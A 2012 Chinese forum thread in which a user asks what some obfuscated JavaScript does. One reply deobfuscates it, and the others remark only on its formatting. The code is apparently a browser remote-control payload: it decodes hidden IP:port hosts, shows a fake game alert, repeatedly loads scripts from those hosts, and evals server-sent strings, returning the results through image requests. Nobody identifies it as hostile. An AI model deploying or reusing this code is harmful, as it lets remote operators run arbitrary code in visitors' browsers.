帮我看看这代码是什么意思

sannyv 2012-11-15 11:48:16
(function(){function f(){var b;a:{var a;b:{a=document.getElementsByTagName("script");for(var d,c=0,e=a.length;c<e;c++)if(d=a[c].src.toLowerCase().split("proxy.js?")[1]){a=d.split("?")[0];break b}a=void 0}d=[];c=0;if(a&&!(a.length%12)){for(;c<a.length;){b=["http://"];for(var h=0;4>h;h++){e=+("0x"+a.substr(c,2));c+=2;if(isNaN(e)){b=void 0;break a}d[h]=e}e=d.join(".");b.push(e,":",+("0x"+a.substr(c,4)),"/");b=b.join("");c+=4;g[e]={a:document.createElement("script"),url:b};j++}b=1}}if(b){var f;a:{a=document.cookie.split("; ");
c=0;for(b=a.length;c<b;c++)if(d=a[c].split("="),"mdUI"==d[0]){f=d[1];break a}}f?i():(alert("\u6b22\u8fce\u6765\u5230\u672c\u6e38\u620f\uff0c\u70b9\u786e\u5b9a\u540e\u5f00\u59cb\u6e38\u620f\u3002"),i(),document.cookie="mdUI=1;expires="+(new Date(+new Date+864E5)).toGMTString())}}function i(){var b,a,d;for(d in g)if(b=g[d])if(a=b.a)a.src=b.url+"Q"+(+new Date).toString(32),document.body.appendChild(a)}var j=0,g={};_$L_=function(b){if(b){var a=b.split(";"),b=g[a[0]],a=a[1];if(b&&a)(new Image).src=b.url+
"P"+eval(a)}};window.attachEvent?attachEvent("onload",f):addEventListener("load",f,!1)})();
...全文
395 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
x1n 2012-11-17
  • 打赏
  • 举报
回复
蛋疼的js..
mengmingtao 2012-11-16
  • 打赏
  • 举报
回复
。。。 我只看出来是JS 代码
趙大叔 2012-11-16
  • 打赏
  • 举报
回复
我勒个去!这个是压缩过后的代码吧 !!把一些意思有的都改变了!!
sannyv 2012-11-16
  • 打赏
  • 举报
回复
帮我看看这是什么意思
永生天地 2012-11-16
  • 打赏
  • 举报
回复
比较复杂
(function() {
    function f() {
        var b;
        a: {
            var a;
            b: {
                a = document.getElementsByTagName("script");
                for (var d, c = 0,
                e = a.length; c < e; c++) if (d = a[c].src.toLowerCase().split("proxy.js?")[1]) {
                    a = d.split("?")[0];
                    break b
                }
                a = void 0
            }
            d = [];
            c = 0;
            if (a && !(a.length % 12)) {
                for (; c < a.length;) {
                    b = ["http://"];
                    for (var h = 0; 4 > h; h++) {
                        e = +("0x" + a.substr(c, 2));
                        c += 2;
                        if (isNaN(e)) {
                            b = void 0;
                            break a
                        }
                        d[h] = e
                    }
                    e = d.join(".");
                    b.push(e, ":", +("0x" + a.substr(c, 4)), "/");
                    b = b.join("");
                    c += 4;
                    g[e] = {
                        a: document.createElement("script"),
                        url: b
                    };
                    j++
                }
                b = 1
            }
        }
        if (b) {
            var f;
            a: {
                a = document.cookie.split("; ");
                c = 0;
                for (b = a.length; c < b; c++) if (d = a[c].split("="), "mdUI" == d[0]) {
                    f = d[1];
                    break a
                }
            }
            f ? i() : (alert("\u6b22\u8fce\u6765\u5230\u672c\u6e38\u620f\uff0c\u70b9\u786e\u5b9a\u540e\u5f00\u59cb\u6e38\u620f\u3002"), i(), document.cookie = "mdUI=1;expires=" + (new Date( + new Date + 864E5)).toGMTString())
        }
    }
    function i() {
        var b, a, d;
        for (d in g) if (b = g[d]) if (a = b.a) a.src = b.url + "Q" + ( + new Date).toString(32),
        document.body.appendChild(a)
    }
    var j = 0,
    g = {};
    _$L_ = function(b) {
        if (b) {
            var a = b.split(";"),
            b = g[a[0]],
            a = a[1];
            if (b && a)(new Image).src = b.url + "P" + eval(a)
        }
    };
    window.attachEvent ? attachEvent("onload", f) : addEventListener("load", f, !1)
})();
咖啡机 2012-11-16
  • 打赏
  • 举报
回复
哦哦,我的天啊,这格式也太乱了。

50,533

社区成员

发帖
与我相关
我的任务
社区描述
Java相关技术讨论
javaspring bootspring cloud 技术论坛(原bbs)
社区管理员
  • Java相关社区
  • 小虚竹
  • 谙忆
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧